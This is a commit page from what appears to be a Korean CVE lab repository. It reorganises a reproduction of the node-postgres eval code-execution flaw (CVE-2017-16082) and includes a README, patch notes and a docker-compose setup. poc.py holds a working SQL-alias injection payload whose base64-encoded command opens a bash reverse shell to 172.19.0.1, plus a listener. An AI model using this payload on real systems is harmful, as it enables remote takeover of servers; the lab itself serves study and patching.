Skip to content

Commit

Permalink
[issue #160]
Browse files Browse the repository at this point in the history
  • Loading branch information
gunh0 committed Dec 18, 2023
1 parent 7de617c commit 15d8d0e
Show file tree
Hide file tree
Showing 16 changed files with 53 additions and 43 deletions.
File renamed without changes.
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
# node-postgres ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์ ๏ผˆCVE-2017-16082๏ผ‰

**Contributors**

- [์„œํ˜„๊ทœ(@wh1te4ever)](https://github.com/wh1te4ever)
> [์„œํ˜„๊ทœ (@wh1te4ever)](https://github.com/wh1te4ever)
<br/>

Expand Down Expand Up @@ -44,16 +42,19 @@ SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=r
![](img/4.png)

## poc.py

๋กœ์ปฌ ์‹œ์Šคํ…œ์—์„œ TCP ํฌํŠธ 21์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋Š”๋ฐ, ๊ทธ์ „์— ๋น„๋™๊ธฐ๋กœ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ URL์— GET ์š”์ฒญ์„ ๋‚ ๋ ค ์‰˜์„ ๊ฐ€์ ธ์˜ค๋Š” ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
![](img/5.png)

## Patch

https://node-postgres.com/announcements#2017-08-12
<br/>
https://github.com/graphile/graphile-engine/pull/48
<br/>
์‚ฌ์šฉ์ž๊ฐ€ ์ •์˜ํ•œ ์—ด ๋ณ„์นญ์ด ์ •๋ฐ€ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด์ง„ ์ •๊ทœ์‹๊ณผ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.</br>
GraphQL์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋กœ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋„๋ก ๊ฐœ์„ ํ–ˆ์Šต๋‹ˆ๋‹ค.

```
select(exprGen: SQLGen, alias: RawAlias) {
this.checkLock("select");
Expand All @@ -77,16 +78,18 @@ select(exprGen: SQLGen, alias: RawAlias) {
```

## ์š”์•ฝ
- ํ•ด๋‹น ์ทจ์•ฝ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์„œ๋ฒ„์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  ์ž‘๋™๋˜๊ณ  ์žˆ๋Š” ์„œ๋ฒ„์˜ ์‰˜์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
- [์ด ๋งํฌ](https://github.com/brianc/node-postgres/issues/1408#issue-249850516)๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด, eval() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์‹ฑ๋ ๋•Œ ๋ฐœ์ƒ๋˜๋Š” ์ทจ์•ฝ์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค.
- eval() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•…์„ฑ์ ์ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ์— ์‚ฌ์šฉ์„ ์ž์ œํ•˜๊ฑฐ๋‚˜ ํ•ญ์ƒ ์‚ฌ์šฉ๋˜๊ธฐ ์ „์— ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ถ”๊ฐ€์‹œํ‚ฌ ๊ณ ๋ ค, ๊ฒ€ํ† ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
- <b>eval() is evil...<b/>

- ํ•ด๋‹น ์ทจ์•ฝ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์„œ๋ฒ„์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  ์ž‘๋™๋˜๊ณ  ์žˆ๋Š” ์„œ๋ฒ„์˜ ์‰˜์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
- [์ด ๋งํฌ](https://github.com/brianc/node-postgres/issues/1408#issue-249850516)๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด, eval() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์‹ฑ๋ ๋•Œ ๋ฐœ์ƒ๋˜๋Š” ์ทจ์•ฝ์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค.
- eval() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•…์„ฑ์ ์ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ์— ์‚ฌ์šฉ์„ ์ž์ œํ•˜๊ฑฐ๋‚˜ ํ•ญ์ƒ ์‚ฌ์šฉ๋˜๊ธฐ ์ „์— ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ถ”๊ฐ€์‹œํ‚ฌ ๊ณ ๋ ค, ๊ฒ€ํ† ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
- <b>eval() is evil...<b/>

## Reference
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://joker-vip.github.io/2021/11/11/node-postgres%20ไปฃ็ ๆ‰ง่กŒๆผๆดž
- https://github.com/nulldreams/CVE-2017-16082
- https://buaq.net/go-33738.html
- https://node-postgres.com/announcements#2017-08-12
- https://github.com/brianc/node-postgres/issues/1408
- https://github.com/graphile/graphile-engine/pull/48

- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://joker-vip.github.io/2021/11/11/node-postgres%20ไปฃ็ ๆ‰ง่กŒๆผๆดž
- https://github.com/nulldreams/CVE-2017-16082
- https://buaq.net/go-33738.html
- https://node-postgres.com/announcements#2017-08-12
- https://github.com/brianc/node-postgres/issues/1408
- https://github.com/graphile/graphile-engine/pull/48
File renamed without changes.
17 changes: 17 additions & 0 deletions NodeJS/CVE-2017-16082/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
version: "2" # Docker Compose ํŒŒ์ผ์˜ ๋ฒ„์ „
services: # ์„œ๋น„์Šค ์ •์˜ ์‹œ์ž‘
node: # ์„œ๋น„์Šค ์ด๋ฆ„: 'node'
build: . # ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ Docker ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œ (Dockerfile ํ•„์š”)
depends_on: # ์˜์กดํ•˜๋Š” ์„œ๋น„์Šค ์ง€์ •
- db # 'db' ์„œ๋น„์Šค์— ์˜์กด
ports: # ํฌํŠธ ๋งคํ•‘ ์„ค์ •
- "3000:3000" # ํ˜ธ์ŠคํŠธ ํฌํŠธ 3000์„ ์ปจํ…Œ์ด๋„ˆ ํฌํŠธ 3000์œผ๋กœ ๋งคํ•‘
volumes: # ๋ณผ๋ฅจ ์„ค์ •
- ./www:/usr/src/www # ํ˜ธ์ŠคํŠธ์˜ './www' ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ปจํ…Œ์ด๋„ˆ์˜ '/usr/src/www' ๋””๋ ‰ํ† ๋ฆฌ์— ์—ฐ๊ฒฐ
db: # ์„œ๋น„์Šค ์ด๋ฆ„: 'db'
image: postgres:9.6 # ์‚ฌ์šฉํ•  Docker ์ด๋ฏธ์ง€
environment: # ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์„ค์ •
- POSTGRES_PASSWORD=postgres # PostgreSQL ๋น„๋ฐ€๋ฒˆํ˜ธ ์„ค์ •
- POSTGRES_DB=example # PostgreSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„ ์„ค์ •
volumes: # ๋ณผ๋ฅจ ์„ค์ •
- ./db.sql:/docker-entrypoint-initdb.d/db.sql # ํ˜ธ์ŠคํŠธ์˜ './db.sql' ํŒŒ์ผ์„ ์ปจํ…Œ์ด๋„ˆ์˜ '/docker-entrypoint-initdb.d/db.sql' ๊ฒฝ๋กœ๋กœ ๋ณต์‚ฌ
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes.
File renamed without changes.
29 changes: 17 additions & 12 deletions node/CVE-2017-16082/poc.py โ†’ NodeJS/CVE-2017-16082/poc.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,16 +5,19 @@

success = 0

web_server_address = 'localhost'
web_server_parameter = '?id=2;'
web_server_address = "localhost"
web_server_parameter = "?id=2;"
web_server_port = 3000

payload = ('SELECT 1 AS "\\\']=0;require=process.mainModule.constructor._load;/*", '
'2 AS "*/p=require(`child_process`);/*", '
'3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", '
'4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"')
payload = (
'SELECT 1 AS "\\\']=0;require=process.mainModule.constructor._load;/*", '
'2 AS "*/p=require(`child_process`);/*", '
'3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", '
'4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"'
)

payload = quote(payload, safe="")

payload = quote(payload, safe='')

async def do_exploit():
global success
Expand All @@ -23,13 +26,15 @@ async def do_exploit():
if success == 1:
print("[+] Successfully Exploited!!!")
break
r = requests.get(f'http://{web_server_address}:{web_server_port}/{web_server_parameter}{payload}')
r = requests.get(
f"http://{web_server_address}:{web_server_port}/{web_server_parameter}{payload}"
)
success = 1


# ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ ์„ค์ •
host = '0.0.0.0' # ๋ชจ๋“  ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์ˆ˜์‹ 
port = 21 #ํฌํŠธ
host = "0.0.0.0" # ๋ชจ๋“  ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์ˆ˜์‹ 
port = 21 # ํฌํŠธ

# ์†Œ์ผ“ ์ƒ์„ฑ ๋ฐ ์—ฐ๊ฒฐ ๋Œ€๊ธฐ
server = listen(port=port, bindaddr=host)
Expand All @@ -48,4 +53,4 @@ async def do_exploit():

# ์—ฐ๊ฒฐ ์ข…๋ฃŒ
client.close()
server.close()
server.close()
File renamed without changes.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,3 +14,5 @@
- [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) | MySQL Authentication Bypass / [๋ฐฐ์†Œ์ • (@baethwjd2)](https://github.com/baethwjd2)
- Nginx
- [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) | Nginx Integer Overflow Vulnerability / [๋ฐ•๊ฑดํ˜ธ (@c0dep1ayer)](https://github.com/c0dep1ayer)
- NodeJS
- [CVE-2017-16082](./NodeJS/CVE-2017-16082/README.md) | node-postgres ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์  / [์„œํ˜„๊ทœ (@wh1te4ever)](https://github.com/wh1te4ever)
17 changes: 0 additions & 17 deletions node/CVE-2017-16082/docker-compose.yml

This file was deleted.

0 comments on commit 15d8d0e

Please sign in to comment.